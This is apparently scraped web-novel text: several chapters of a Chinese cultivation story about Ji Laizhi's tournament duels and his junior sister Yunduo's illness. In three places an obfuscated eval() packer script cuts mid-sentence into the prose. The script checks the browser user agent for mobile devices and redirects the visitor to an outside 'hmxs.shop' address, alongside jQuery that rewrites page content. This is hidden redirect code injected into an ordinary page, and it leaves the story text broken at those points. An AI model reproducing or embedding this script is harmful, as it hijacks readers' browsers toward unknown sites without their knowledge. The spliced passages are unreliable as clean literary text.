季来之感受到那火焰中蕴含着非同寻常的力量,不敢大意,他迅速撤掉剑影,将双剑交叉横于胸前。灵力流转,以双剑为骨架,结成一面光盾。火焰撞击在盾牌上,发出滋滋的声响,盾牌上出现了一道道黑色的痕迹。 云朵在台下看得紧张不已,双手紧紧握拳,眼睛一眨不眨地盯着擂台。夏南烛则一脸平静,微微皱眉,似乎在思考着什么。 那火焰最终还是没能击破季来之的光盾,在空中消散而去。 “天啊,对面都把林师兄逼得使出了绝招!” “关键是还没拿下!对面究竟是什么人!” “我看了林师兄的腰牌,对面是浮云宗的季来之。” “浮云宗?我好像听说过这个名字,但是又想不起来他们干了啥。” “一个很小的门派,地处偏远,很少跟其他门派走动。之前他们的人也得过比武大会的冠军,除此之外,确实没有什么记忆点。” 云朵松了口气:“还好还好,那火看着就邪性,要是沾到了,怕不是要把人烧到穿肠烂肚才会罢休。” 夏南烛道:“那火焰烈度高,纯度却不够,没有你说的那般吓人,但碰到了也会有些棘手。” 云朵摇头道:“没想到那人看上去芝兰玉树的,出手还有这样的阴邪招数,我差点被骗了!” 夏南烛扭头看她:“不可以貌取人。” 云朵悻悻道:“以后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这点程度的攻击虽然不至于让季来之应付不来,但也实在是恼人。他将体内灵力疯狂运转,双剑上的亮起耀眼的红光。剑影闪烁,如流星般朝着林星遥笼罩而去。 林星遥一惊,急忙转换成防御符阵,但季来之的剑技威力太过强大,符阵的光芒开始闪烁不定。 “星遥兄,再打下去,你这符阵可就要撑不住了!”季来之一边进攻,一边喊道。 林星遥咬了咬牙,不肯放弃,他继续催动符阵,试图拖延时间,以找到季来之的破绽。然而,季来之的攻击越来越猛烈,他的符阵已经出现了裂痕。 就在这时,季来之看准时机,双剑一合,一道强大的剑气从双剑中爆发而出,直接冲向林星遥的符阵。只听“轰”的一声巨响,符阵瞬间破碎,林星遥也被剑气击飞出去,摔倒在擂台上。 场下顿时一片寂静,随后爆发出一阵热烈的掌声和欢呼声。 季来之缓缓走到林星遥面前,伸出手将他拉了起来,笑道:“星遥兄,你实力不错,符修手段也挺多,可惜啊,你第一战就遇到我了。” 林星遥苦笑一声,拱手道:“季道友实力高强,在下心服口服。今日败在季道友手下,星遥虽败犹荣。” 季来之洒然一笑,道:“你败给我可一点都不用懊恼,我以前的陪练都是我大师兄。我家大师兄是我见过的最厉害的符修,跟他一比,其他人通通入不了我的眼!” 此言一出,满场先是一静,随即爆发出巨大的哗然与议论之声。 “好大的口气,刚赢了一场,就跟夺冠了一样。” “他大师兄是谁?还能比霁华宗更擅长用符?” “浮云宗的云怀清吧,符用得好,剑术也不逊色。” “那难怪了,云怀清当年可是打败了天剑阁的大师兄,拿到了比武大赛冠军的!” 季来之没理会人群中的议论声,直接从擂台上轻盈地跳了下来。他落地后,朝着云朵和夏南烛所在的方向跑来,脸上洋溢着明快笑意。 云朵眼睛亮晶晶的:“没想到你还真的有两下子嘛,三师兄!” 季来之叉腰笑着:“那当然,也不看看你三师兄是谁。这种级别的对手,对我来说也就是热热身的水平。” 说完,他转头看向夏南烛,邀功道:“二师兄,我打得不错吧?我说什么来着,就算直接上我也能赢。” 夏南烛微笑:“来之,打得不错。对方既然能代表霁华宗参战,也算是符修中的佼佼者,你能打败他,确实实力不俗。但切不可骄傲,后面可能还会遇到更强的对手。” 季来之认真地点了点头:“二师兄,你放心。我可不会因为这一场胜利就得意忘形。后面要是遇到更厉害的,我也会全力以赴。你和大师兄参加比武大会的时候,都拿了冠军。我这次的目标自然也是冠军,我可不能让咱们浮云宗的光荣传统断送在我手里!” 云朵在一旁搭腔:“对呀对呀,三师兄,你一定要拿个冠军回来,到时候我们回去之后,让大师兄给你办个超级大的庆功宴!” 季来之哈哈一笑:“好啊,为了庆功宴,我也得拼尽全力。” 又一阵鼓声响起,打断了他们的对话。 夏南烛对季来之说:“看来其他擂台也已分出胜负。按照惯例,今晚你的腰牌会显现下场比赛的场地和对手,两日后会进行下一轮比试,你还有两天的时间用来修整。” 季来之点点头:“那我们先回住处吧!二师兄,回去以后你给我整点好吃的补补呗,这样我下一场肯定赢得更轻松!” 夏南烛无奈道:“好,先回去再说。” 10. 霁华试剑锋(4) 经过第二轮比试,又有一半的参赛弟子被淘汰下来。 有的人神采飞扬,有的人垂头丧气。 不过这些都被挡在了高高的院墙外,跟云朵她们无关。 眼下,夏南烛正在房间里准备今天的晚饭,云朵在院子里练剑,季来之则坐在石桌旁,一边看云朵练剑一边不知道从哪里掏出个果子啃。 “你刺的这下太慢了,下手必须稳准狠啊。” “肩膀有点僵硬,你这个动作,手再抬高点更好用力。” “脚跟得慢了啊!实战中你这一下就容易被对手抓住破绽。” 云朵忍无可忍,放下剑斥道:“季来之!你要是闲得慌,能不能赶紧回屋打坐修炼,为下一场做准备去!你要是下一场比试输了,可就把咱们宗门的传统给断送了!” 季来之啃了一口果子,道:“下场比试不是两天后呢嘛,着什么急?我今天的修炼量已经够了,明天再说吧!” 云朵嘟囔道:“真不知道你是怎么长的,明明整天修炼得吊儿郎当,但修为就是长得飞快,真气人呀!” 季来之凑过来,问:“你在那小声说啥呢?老实交代,是不是在说我坏话!” 云朵心道今天这剑是没法练了,索性收剑入鞘,赏了季来之一个白眼:“岂敢岂敢,我夸你还来不及呢,预备冠军!” 季来之来兴致了:“这倒是太阳打西边出来了,你跟我说说,你是怎么夸我的?” 云朵忍了又忍,还是没忍住翻了个白眼:“夸你英明神武,玉树临风,风流倜傥,天下无敌!“ 季来之道:“停停停,你这都什么跟什么啊。你这是夸我吗?你这是把你所有会的成语都列出来了吧!” 云朵道:“你觉得我夸得不好?那我不夸了!” 季来之正要回怼,余光看见夏南烛的屋门开了,夏南烛端着一大锅白花花的汤走了出来,见他俩杵在院子里,道:“你们若是无事,帮我把屋里的另外三道菜也端出来吧。” “得令!”季来之的身影“嗖”地冲进了屋内,出来时一手端着一个盘子。云朵紧随其后,只抢到一盘青菜。 饭菜全部上桌,一道红烧肉,一道炖牛腱,一道炒时蔬,还有一锅鲫鱼汤。三菜一汤,荤素搭配,香气四溢。 云朵吸了吸鼻子,道:“哇,好香啊!二师兄你是我见过的做饭最好吃的人,跟你一比,其他厨子通通入不了我的眼!” 季来之道:“你学我学得倒快!” 夏南烛道:“好了,快吃吧。这次我带的食材有限,菜品不够丰盛,你们将就一下。” 云朵道:“哪有!已经很丰盛了啊,比在他们食堂吃的好多了。” 季来之道:“就是!不过二师兄你不吃吗?虽然你辟谷了,但是吃点也不影响吧?你折腾那么久才做出来这一桌子菜,结果在旁边看着我们吃,这让我们很有压力啊!” 云朵点头如啄米,帮腔道:“而且我们两个人也吃不了这么多,都浪费了。” 夏南烛微微一笑,也拿起了筷子:“那我帮你们分担点。“ 一顿饭过后,三个各自回屋休息。 第二天,云朵一早起来,想问问季来之下一场的对手是谁,却一整天都没见到季来之。 她气鼓鼓地跟夏南烛抱怨:“他不会是去外面疯玩了吧!玩也不是不行,好歹告诉我们下一场在哪儿比呀!“ 夏南烛道:“下一场还是擂台四,对手是天剑阁的岳沉舟。” 云朵吃惊道:“二师兄,你怎么知道?” 夏南烛道:“昨晚入睡前,来之来我房间给我看了他的腰牌。” 云朵道:“好吧,还算他靠谱!” 直到第三天上午临近比试时,季来之才打着哈欠出现在场下。 云朵看到他,脸黑成了锅底:“哎呀,看看这是谁?我还以为你不参加了呢!” 季来之道:“咦?我们小师妹生气啦?不气不气啊,看师兄再给你赢场漂亮的。” 说罢,他跃上赛场,朝对面的人抱拳道:“浮云宗季来之。” 他的对手身着天剑阁服饰,暗红色的衣袍上凝固着黑色的火焰,仿佛死在他们剑下的亡魂溅射在他们衣摆上的血,经年累月地叠加、干涸。 他早已等候多时,见季来之终于来了,也回礼道:“天剑阁岳沉舟,恳请季兄赐教。” 季来之打量了一下对面的人,见他背着一柄足有一人高的大剑,笑着问道:“岳兄的武器是把重剑?” 岳沉舟道:“正是。” 季来之道:“你用重剑,我用双剑,咱们正好比比,看到底哪方更胜一筹。” 岳沉舟道:“正有此意。” 话音落下,战鼓声起。 岳沉舟低喝一声,重剑猛然杵地,一股沉稳如山的气势如汹涌的波涛般散发开来。他双脚稳稳地扎根于地面,如亘古不变的磐石,眼神紧紧地盯着季来之,等待着他先露出破绽。 季来之则如同一阵清风,绕着岳沉舟快速游走。他的步伐变幻莫测,时而飘忽,时而迅捷,留下道道残影。 突然,季来之猛地加速,如同一道闪电切向岳沉舟身侧。双剑如同毒蛇出洞,一把刺向咽喉,一把直扫下盘。 岳沉舟的反应看似慢,实则稳。他的重剑只是微微一抬,宽大的剑身就如同一面坚不可摧的盾牌,精准地封堵了刺向咽喉的一剑。同时,他微旋剑身,用剑刃硬生生扛住了扫向下盘的另一把剑。 只听“铛!铛!”两声巨响,火星四溅。 季来之感觉双剑上传来一股巨大的反震力,险些脱手。他立刻借力后跃,卸去力道,心中对对手的力量和防御暗暗咂舌。 这第一次试探,他的速度未能突破岳沉舟的防御。他知道,接下来的战斗不会轻松。 季来之沉思片刻,改变策略,不再追求一击必杀。他将速度提升到极致,从四面八方发动攻击,双剑化作无数剑影刺向岳沉舟,叮叮当当的声音如同暴雨打芭蕉,不绝于耳。剑影如影随形,让岳沉舟仿佛置身于剑光的海洋之中。 岳沉舟则彻底化身磐石。他步伐移动范围很小,但每一次移动都恰到好处。重剑在他手中仿佛没有重量,舞动起来却带着呼啸的风声。他并不追求格挡每一次攻击,而是用最小幅度的动作进行闪避和格挡,每一次格挡都势大力沉,让季来之的双剑难以深入。 偶尔,岳沉舟会抓住季来之攻击的间隙,猛地挥出一记横扫或劈砍。虽然速度不快,但范围巨大,力道恐怖,逼得季来之不得不全力闪避,无法连续进攻。 擂台地面被重剑的剑气划出道道沟壑,昭示着这场战斗的激烈。 久攻不下,季来之的身影逐渐慢了下来。一次突进后,他的身法似乎出现了一丝凝滞,后退的速度慢了一线。 岳沉舟战斗经验丰富,立刻捕捉到这个机会。 他怒吼一声,全身肌肉贲张,灵力灌注进重剑,使出一招势大力沉的劈砍,带着雷霆万钧的气势砸向季来之。 云朵忍不住惊呼:“小心啊三师兄!” 季来之的嘴角却微微上扬,眼中闪过一丝狡黠。他没有选择硬接,也没有向后闪避,而是做出了一个极其冒险的动作。 只见他身体以左脚为轴,猛地一个极速旋转,如同旋风般向岳沉舟的侧面滑去,几乎是擦着重剑的剑刃避开。避开重剑的瞬间,他的身体在空中灵活地扭转,双剑交错,看准重剑发力最猛、最难收势的瞬间,用双剑巧妙地搭在重剑的剑脊之上。 这一招并非为了格挡,而是在借力牵引。 “去!”季来之低喝一声,利用自身旋转和对方前冲的巨大力量,双剑挟持着巨刃,猛地向旁边一拨。 岳沉舟的全力一击打空,本就重心前倾,再加上季来之这顺势一带,整个人顿时失去了平衡,巨大的惯性拖着他向前踉跄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062170|195068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扑去,空门大露。此时,重剑反而变成了拖累他找回平衡的负担。 季来之抓住机会,闪现到岳沉舟侧后方。 他的双剑瞬间出击,左手剑搭在岳沉舟颈侧,右手剑尖则点在后心要害。 胜负已分。 场下一片哗然。 “这个季来之,居然赢了天剑阁的人!” “还是靠剑术赢的,这不是倒反天罡。” “他就是之前打败霁华宗林星遥的那个?这么看来确实有两下子嘛!” 云朵拍了拍胸口:“吓死我了,刚才对面那一剑要是真拍在他身上,不死也要重伤了。” 夏南烛跟她比起来则镇定得多:“放心,他没有这么弱。” 云朵疑问:“二师兄为何这么笃定?” 夏南烛道:“自然是因为我见过他全力应战的模样。” 云朵好奇道:“那是什么样的呀?” 夏南烛道:“你见过后,自然就会知道了。” 云朵撇撇嘴:“这还保密呀。” 季来之微微喘着气,脸上露出了胜利的微笑。他再次向岳沉舟抱拳:“承让了,岳兄。这次是我赢了,看来暂时是我的双剑更胜一筹。” 岳沉舟虽败在他手下,面上依然波澜不惊,回礼道:“恭喜季兄,下次比试,我会赢回来。” 季来之朗声笑道:“那我就拭目以待了!” 说罢,他跳下比武台,朝着夏南烛和云朵奔去。 “二师兄,师妹,我回来了!” 夏南烛微笑颔首:“恭喜你,离冠军又近了一步。” 季来之拍着胸膛,保证道:“那是必然,你们只需要在台下给我喝彩就行了!” 说罢,他又看向云朵:“你今天安静得不太正常啊,怎么?被我比试时的帅气身影迷晕了?” 云朵瞪他一眼:“还帅气呢?你差点被他劈成两半好吧!” 季来之道:“我那是故意的,引他露出破绽,我才好下手。要不然他那套剑法简直像个乌龟壳,撬都撬不开!” 他们闲聊的同时,在场外观战的弟子们也渐渐散去。几位修士在路过他们时,碰巧正在讨论这场比试,话音落在了云朵耳中。 “之前浮云宗的云怀清就从天剑阁那里夺走过一次冠军了,这次天剑阁的人又输给了浮云宗弟子,这两家怕不是要结梁子了!” “不至于吧?天剑阁又不是没拿过冠军。” “但是浮云宗总共就没参加过几次比武大会,次次都赢天剑阁,他们能咽的下这口气?” 这么说的话,浮云宗还真没准被天剑阁记了一笔呢。云朵腹诽道。 她还沉浸在自己的想象中,忽觉眼前有一只手晃来晃去。回过神来,只见季来之一脸揶揄地召她回神:“小师妹,想什么呢,这么入迷?” 云朵道:“没什么,我听见刚才那群人说,浮云宗每次参加比武大会,都会赢天剑阁。他们会不会记仇,以后就盯上我们了呀?” 季来之不屑道:“你听他们胡侃!天剑阁那帮人个个都是武痴,非但不会记仇,还会每次见到都向你讨教剑术呢。” 云朵想象了一下,打了个寒噤:“我怎么觉得比被记仇还可怕?” 季来之笑道:“所以啊,我一开始不就跟你说了,以后看见他们这身衣服就躲着走。” 夏南烛听不下去了,插话道:“没有这么夸张,天剑阁的弟子为人正派,很好相处,可以成为不错的朋友。” 季来之搓了搓胳膊,心有余悸道:“还是算了吧……我觉得独来独往挺好的。” 夏南烛道:“只是建议,与人交往之事,你们自己把握即可。” 他们谈笑间,场外的人已经基本走光了。 云朵环顾四周后,一拍手,道:“哎呀,光顾着聊天了,我们也先回住处吧!” 夏南烛点头:“走吧,剩下的事回去再说。” 11. 霁华试剑锋(5) 当天夜里,云朵在床上辗转反侧,难以入睡,索性披衣坐起,来到庭院里。 白天他们三人回到住处后,夏南烛又给他们开了次小灶。 吃过饭后,他们便各忙各的去了,直到晚上,季来之的腰牌上出现了下次对战的对手。 幻渺阁阮织梦。 相比起霁华宗和天剑阁,幻渺阁颇显神秘,行事风格亦正亦邪。 幻渺阁主修幻术,媒介不限,有人用符,有人用蛊,还有更邪性的甚至用血。阁中弟子很少有人擅长正面作战,多是通过伏击、偷袭、致幻等手段击败对手,因此一直为部分修士所不齿。 但幻渺阁的术法相比传统修行方法,入门简单,因此弟子数量相比其他门派只多不少,反而逐渐跻身至仙门前三甲的位置。 不知这阮织梦,擅长通过何种手段施展幻术。能够留到第三轮的,都是有真本事的,季来之还会像之前那样,不出全力就能胜出吗? 夜色漆黑如墨,院中四下寂静,只偶尔传来几声虫鸣。 云朵旋身飞起,轻轻落在屋顶上。她躺在屋顶上,双手交叠垫在脑后,望着夜空发呆。 忽然,远处传来一阵琴音,如冰丝裂玉,在夜色里一圈一圈漾开。 云朵坐起身,屏息环顾。只见一人影端坐于不远处的屋顶上,白衣如雪,黑发如瀑,琴横放于腿上,以手抚琴,婉转琴音自指尖流淌而出。 竟有人大半夜不睡觉,在外面弹琴? 云朵被激起好奇心,几个轻跃,便来到了那人对面的屋顶上。对方也察觉到了她的到来,停下奏乐,收琴起身。 看清那人的面目后,云朵吃了一惊:“这,杨姐姐?!” 夜下抚琴之人,正是第一天接待她们的杨疏意。不过此时她没有穿霁华宗的衣服,头发也没有梳成繁复的发髻,相比起上次,显得更加好接近一些。 “没想到我的琴声会引来云姑娘做我的听众。”杨疏意莞尔一笑,“深更半夜,云姑娘不在房中歇息,却跑到外面来,可是有心事睡不着?” 云朵摇摇头:“心事是没有,但睡不着倒是真的。杨姐姐呢?为何大半夜跑到屋顶上来弹琴?” 杨疏意道:“我虽非参赛弟子,大会期间亦有任务在身。上次也跟你们提到过,我自小修琴艺,有些用琴声驱邪、清心的本领,宗门便命我时刻关注参赛弟子的状态,必要时用琴音辅助疗愈。兴许是因为赛程已过半,今夜我感受到不少躁动的气息,因此来此抚琴,驱散这些杂音。” 云朵听后,双眼发光:“哇,那你好厉害啊!” 杨疏意睁大眼,诧异道:“厉害吗?“ 云朵反问:“不厉害吗?你看这次来参赛的人里,每一个都会打打杀杀,但能帮别人祓除杂念的,恐怕一只手都数得过来。” 杨疏意听后,脸上没有喜悦,反而露出一丝苦笑:“那你可知,像我这样剑走偏锋的弟子,在每个宗门里都是被边缘化的存在。霁华宗还好,能允许我继续待在宗门里做个闲人;若是在天剑阁,我怕是已经被逐出师门了。” 云朵愤愤不平:“那是他们有眼不识泰山!会打打杀杀有什么稀奇?这样的人一抓不是一大把。再说了,为什么要整天惦记着打打杀杀?大家一起开开心心地生活,有异动了就一起降妖除魔,风平浪静就时不时约上亲朋好友一起云游,这样不好吗?” 杨疏意听后一愣,睫毛颤了颤,随后唇角微微提起:“云姑娘小小年纪,看待事物的角度倒是与众不同。虽然知道你是在安慰我,但我心里确实畅快多了。” “谢谢你,云姑娘。” 云朵被她的道谢弄得脸红:“哎呀……我说这些话不是为了安慰你,我是真的这么想的!”也许是真的觉得跟杨疏意投缘,她也开始打开了话匣子,“你看我们浮云宗,四个内门弟子的主修方向都不太一样,符修、丹修、剑修都有,喜欢什么就修什么!我大师兄之前跟我说过,修仙本来就是个人的事,无论修什么,修到最后都是在修自己。所以琴修如何,剑修又如何?我反而觉得,像杨姐姐这样,只护生,不杀生,比那些只会舞剑弄刀的人更容易得道成仙呢!” 她说到兴奋处,肢体语言就变丰富了,双手随着话语在空中比比划划。 杨疏意被她手舞足蹈的模样逗笑了:“我明白了,不过我倒是觉得,比起我,说不定岁宁妹妹更容易得道成仙。” 云朵有些惊讶:“虽然听疏意姐姐这么说很开心,但为什么呀?” 杨疏意眨眨眼:“正如你刚刚所说,修仙即是修自己,我觉得以云朵妹妹的心性,今后无论遇到什么事,都能同自己和平共处。” 云朵听完,有些黯然:“但是我连金丹都没结成呢……” 杨疏意安慰道:“不急,你还小呢,结丹是早晚的事。” 说完,她仰头望天,道:“聊了这许久,差点忘了一曲还未弹完。岁宁妹妹若是不嫌弃,可回屋躺下,闭目凝神。我的琴音虽然主要用于清除杂念,但也有些安神催眠的效果,说不定听着听着,你就可以去会周公啦。“ 云朵连忙点头:“那我就不打扰疏意姐姐忙正事啦,晚安!” 杨疏意笑着同她告别:“晚安,好梦。” 云朵轻手轻脚地回到屋内,钻进被窝,闭上眼睛。耳畔传来轻柔的琴音,余音悠长,袅袅绕梁。 云朵的意识伴着琴音沉沉浮浮,逐渐跌入了黑暗。 两天后,第四轮比试如期而至。 三人用过早饭,便早早来到了场外。距离比赛开始还有一会儿,台下已经站满了人。 比武大会进行到现在,每一场比试的关注度都很高。下一场就是争夺冠军的总决赛,因此这场胜出的选手,很有可能就是本届比武大会的总冠军! 季来之冲在最前面开路,一边嚷嚷着“让一下!让一下!”一边奋力用手拨开人群,带着云朵和夏南烛挤到最前面。 见台上空无一人,季来之耸了耸肩,道:“得,前两次都是让对面等我,这次终于是轮到我来等人了。” 夏南烛道:“也许你的对手只是隐藏在暗处观察你。” 季来之摆手道:“观察吧,最好一直在暗中观察,别出来了,这样我就直接进决赛了,省事!” 云朵道:“三师兄啊,你这次可不能输啊,你都坚持到现在了,要输也得等到决赛再输。” 季来之道:“决赛我也不会输的,你就放心吧!” 说完,他转身跳到了场上。 又过去一盏茶的时间,场上依然只有季来之一人。他等得百无聊赖,用手绕着耳侧的头发玩。 随着比赛开始的时间逼近,场下的议论声也逐渐大了起来。 “这幻渺阁的人是怎么回事?不会是怕了吧?” “不能吧,能闯到这一轮的,哪个也不会是泛泛之辈,怎么可能不战而降?” “难道是睡过头了?应该没有这么不靠谱吧?” “这人再不来,浮云宗的就直接赢了。” 在越来越高的议论声中,突然传来一声惊呼: “你们看,那是什么!” 众人抬眼看去,只见一道黑色的旋风不知何时出现在场上,旋风裹挟着黑色的雾气,在场中不断翻卷。若凝神细看,就会发现那哪里是雾气,而是一只只黑色飞虫,正振动着翅膀,在场地上方盘旋。 场下已经有人忍不住了: “我的天啊,怎么这么多虫子?” “好恶心啊!” “这人不会是拿虫子做武器的吧?” 夏南烛见状,微微蹙眉,道:“蛊修。” 云朵从看见虫群之后,就开始出冷汗,此时已经浸湿了后背的衣衫。 她用手抹了把脸,道:“这也太邪性了,三师兄能不能赢先放一边,对方不会玩阴的,给他下蛊吧?” 夏南烛道:“来之应该不会给她这个机会。” 场上,季来之停下绕头发的手,抱着手臂冷冷地看着漫天飞舞的黑压压虫群。 虫群飞着飞着,逐渐向中心凝聚,一个纤细的身影自黑雾中款款走出。她一身黑色衣裙,衣服上用银丝绣着烟雾状的花纹。黑色的长发没有梳成发髻,只用银色丝带在脑后随意绑住了脸颊两侧的头发,丝带末端还系成了蝴蝶结。 她挥手驱散虫群,向季来之欠了欠身:“抱歉,我差点睡过头,让你久等了!” 季来之摊手道:“不久,不久!阮姑娘要是再晚来一会儿,我就能直接晋级了。” 阮织梦摇头:“那可不行,我的目标可是冠军呢!” 季来之乐了:“巧了,我也是。” 阮织梦将双手背在身后,笑道:“那就看季公子有没有这个能耐了?” 话音未落,虫群已如浓雾般从阮织梦袖中涌出,如一团黑云聚在她身后。 季来之身影一晃,原地只留一道残影,两道剑光已向阮织梦劈去。 “季公子何必着急?”虫群骤然分裂成三股,一股正面迎向剑光,另外两股则借着阮织梦身躯的遮挡,悄然钻入地下,消失不见。 季来之长笑一声,身形在虫群合围的瞬间腾空而起,双剑舞出漫天银亮弧光。剑气纵横间,最先扑来的虫群被绞得粉碎,化作点点黑尘飘散。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062171|195068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但另外两股虫群已从他后方的地板下冲出,逼近他后背。 云朵的头从看到阮织梦的蛊虫起,就隐隐作痛。她一直强撑着精神看着场上的动静,见季来之陷入陷阱,不由惊喊:“三师兄,背后!” 季来之听到她的声音,朝她投了一个安抚的眼神,随之足尖在空中轻点,竟似踏着无形阶梯,身形再次拔高。虫群堪堪擦着淡蓝色的下摆掠过,带起的劲风拂动他的衣袂。 躲过危险,他剑势一转,七道凌厉剑气如流星般直取阮织梦周身大穴。 阮织梦不慌不忙地后退半步,虫群迅速回防,在她身前结成一道黑盾。剑气撞上虫盾,发出令人牙酸的嗡鸣,黑虫不断被震落,又不断补充,竟将剑气尽数挡下。 “季公子好快的剑,差点就伤到人家了。”她眨眨眼,右手在宽大的衣袖中动了几下,几只几乎透明的蛊虫悄无声息地潜入地面。而空中飞舞的虫群忽然变换阵型,化作数条黑色锁链,从四面八方缠向季来之。 季来之攻势不停,双剑如疾风骤雨,每一剑都精准地斩在锁链最薄弱的节点上。 他身法轻灵,在漫天黑链中穿梭,宛若游龙。剑尖总是离阮织梦只差寸许,逼得她不断变换位置。 突然,他脚下一滞。不知何时,数条晶莹的丝线已缠上他的足踝,丝线上泛着诡异的紫光,正迅速向上蔓延。 “总算抓到你了。”阮织梦嫣然一笑,袖中飞出一只紫金色的蛊虫。那蛊虫颜色艳丽,体型硕大,速度快得只剩一道虚影,直射季来之眉心。 观众席上惊呼声四起,季来之却放声大笑:“好个天蛛蛊!可惜——” 他双剑交叠在胸前,周身灵气瞬间暴涨,直接震断了缠足的丝线。同时左手中剑脱手飞出,在空中划出一道淡蓝色弧线,精准地击中蛊王。右手剑却顺势划出一个完整的圆,剑气如涟漪般荡开,将趁机扑来的虫群震得四散飞溅。 阮织梦脸色微变,指诀连变。被震散的虫群突然凝聚成七个与她一模一样的人形黑影,各持幻化出的兵器,从不同角度向季来之攻去。七个阮织梦同时开口,声音重叠交错:“季公子,这招又如何呢?” “阮姑娘的幻蛊之术,确实精妙绝伦!”季来之赞叹,却不理会扑来的黑影,反而闭目凝神,左手提剑垂在身侧,右手将剑缓缓平举。 下一秒,他身形突如旋风般旋转,双剑带起一道耀眼的银虹——直刺右侧空处! “嗤”的一声,剑尖划过,空气中泛起波纹。所有黑影骤然消失,阮织梦真身显现,急退数步,袖口被划破一道口子,露出一截白玉般的手臂。 “你是怎么识破的?”她讶然,眼中满是难以置信。 “这个我很难跟你解释,你就理解成一种天赋吧!”季来之笑得恣意,攻势却不减。剑气交织成网,将阮织梦所有退路封死。 虫群在主人的命令下拼命回防,却被剑气一次次击散。阮织梦渐露败象,额间渗出细汗,突然咬破指尖,弹出一滴殷红的血珠。 血珠没入虫群,黑虫顿时狂躁起来,体型暴涨,嗡鸣声刺耳欲聋。虫群汇聚成一条黑色巨蟒,鳞甲分明,眼中闪着血红光芒,张口喷出一股腥风。 “季公子,你可要小心了。”她眼中闪过狡黠,巨蟒猛地扑来,所过之处石板尽碎。 季来之神色稍肃,双剑合于胸前,周身剑气内敛到极致。在巨蟒临头的刹那,他猛然抬手,一道璀璨剑光冲天而起,如旭日东升,光华万丈。 剑光直接洞穿蟒首,然余势不减,直逼阮织梦。所过之处,狂躁的虫群如雪遇朝阳,纷纷消散。 剑光在距她咽喉三寸处蓦然停住。剑气消散,露出季来之带笑的脸。他呼吸微促,衣衫上有几处被蛊虫撕破的痕迹,但目光依旧明亮如星。 “承让了,阮姑娘。” 阮织梦怔了怔,看着四周散落的蛊虫尸体,嘟囔道:“没意思,这么快就结束了。”随即挥手散尽残余虫群,展颜一笑时又恢复了那副古灵精怪的模样:“不过季公子的双剑确实厉害,下次我定要炼制更厉害的蛊虫,赢回来!” 季来之收剑回礼,灿然一笑:“随时恭候。” 一场精彩比试就此落幕,四周掌声雷动,为这场剑蛊之争喝彩。 周围的声音让云朵的头更疼了。她感觉仿佛有人用根棍子捅进她的脑子里,不停地戳弄搅拌,疼得她满头冷汗,眼前一阵一阵地发黑。 恍惚中,她感觉到有人伸手扶住了她,她努力抬眼,想要看清楚眼前之人是谁,但双眼模糊得像覆盖了一层油膜。 她张了张嘴,还没能发出声音,黑暗就吞噬了她。 12. 霁华试剑锋(6) 云朵掀开沉重的眼皮,发现她正躺在床上,四周一片漆黑,伸手不见五指。 头依然很疼,疼得她连抬手的力气都没有。 四周安静得像是开了静音符,她可以清晰地听到自己的呼吸和心跳声。 她对昏迷前最后的印象,就是听见季来之赢了比试,再然后她就两眼一黑,什么都不知道了。 这里是她的屋子吗?是师兄们把她背回来的?师兄们人呢? 周围这么黑,看来她是昏睡到半夜才醒,师兄们大概是已经各自回屋休息了。 她感觉屋子里很冷,衣服被冷汗浸透,裹在身上,给她一种自己正躺在沼泽里的错觉。 身上每一寸皮肤、每一根骨骼都浸在冰冷粘稠的泥浆中,抽走她好不容易积攒起的一丝力气,引着她的意识往更深的地底下沉。 就在云朵的意识又开始模糊不清、昏昏欲睡时,身下的床突然动了一下。那一下很轻,像是喂雪团吃食时,被那带着钩子的舌头舔了一下。 但逐渐的,这种不和谐的扰动变得越来越多,把她的意识从漆黑的深渊中拉了回来。 有什么东西正顺着她的小臂皮肤向上爬! 不安终于压倒了昏沉。 云朵将全身力气都汇集在那条手臂上,努力想要将上面的东西甩下去。 那东西安静了片刻,随之仿佛被她的举动惹怒,声势更加浩大。 身下的床板也仿佛活了过来,开始持续不断的起伏,像是下面藏着某种活物,正贴着她的脊柱活动着筋骨。 这是什么东西? 云朵蜷缩一下僵硬的手指,试探性地伸手去触碰这股不和谐的暗涌。 指腹落下的瞬间,一声极其微弱的“咔哒”声从绒毯深处响起。 温柔的幻象被彻底敲碎。 倏地,原本零星的涟漪连绵成了波涛,云朵感觉自己身下的床消失了,取而代之的是起伏的海浪。 她如同一叶扁舟,被怒涛掀起又落下。 然而耳边响起的却不是浪涛的轰鸣,而是窸窸窣窣的窃窃私语。 是虫子! 一大群虫子! 云朵霍然睁眼,眼前依然伸手不见五指,她看不到身下的情形,只能感受到她原本躺着的床消失了,变成了虫群。 无数的虫子正顺着她的身体往上爬,爬上她的脸,顺着七窍往里钻。 云朵想挣扎,却像被施了定身咒一般动弹不得。她想尖叫呼救,嘴却被涌入的虫子塞满,发不出声音。 她感觉自己像一尊破败的雕像,被虫蚁啃咬、筑巢。 她无法阻止,甚至无法颤抖,只能任凭体内这片死寂的荒芜,被万千活物细细分食、筑巢侵占。 救命! 救命啊! 